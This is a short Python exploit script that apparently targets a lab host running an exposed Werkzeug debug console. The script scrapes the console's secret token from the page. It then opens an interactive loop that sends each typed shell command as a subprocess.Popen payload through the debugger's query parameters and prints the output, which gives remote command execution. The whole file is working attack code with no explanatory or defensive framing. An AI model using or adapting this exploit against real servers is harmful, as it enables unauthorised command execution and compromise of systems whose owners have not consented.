#!/usr/bin/python3
import requests
import sys
import re

# lambda
_RED = '\x1b[1;31m'
_BLU = '\x1b[1;34m'
_GRE = '\x1b[1;32m'
_RST = '\x1b[0;0;0m'
success_message = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)
error_message = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)
info_message = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)

print(info_message('Searching for the Werkzeug console ...'))

url = 'http://ptl-e7e6b59c-ecd77b90.libcurl.so/console'
resp = requests.get(url)
if resp.status_code != 200:
    print(error_message('Ouups something goes wrong'))
    sys.exit(1)

if 'Werkzeug powered traceback interpreter' not in resp.text:
    print(error_message('Werkzeug console not found!'))
    sys.exit(1)
print(success_message('Werkzeug console successfully found!'))

if 'SECRET' not in resp.text:
    print(error_message('Secret key not found!'))
    sys.exit(1)
secret = re.findall("SECRET = \"([^']{20})", resp.text)[0]
print(info_message('Secret Code: {}\n'.format(secret)))

print(info_message('Interacting with the Werkzeug shell ...'))
while True:
    cmd = input('cmd> ')

    if cmd == 'exit' or cmd == 'quit':
        break
    if cmd == ' ' or cmd == '':
        continue

    cmd = cmd.replace("'", "\'")
    payload = '''
__import__('subprocess').Popen('{}', shell=True, stdout=__import__('subprocess').PIPE, stderr=__import__('subprocess').PIPE, stdin=__import__('subprocess').PIPE).stdout.read()
'''.format(cmd)

    parameters = {
        '__debugger__': 'yes',
        'cmd': payload,
        'frm': '0',
        's': secret
    }

    resp = requests.get(url, params=parameters)
    resp = resp.text.split('<span class="string">')[1]
    resp = resp.split('</span></span>')[0]
    print(''.join(resp.replace('\\n', '\n')))
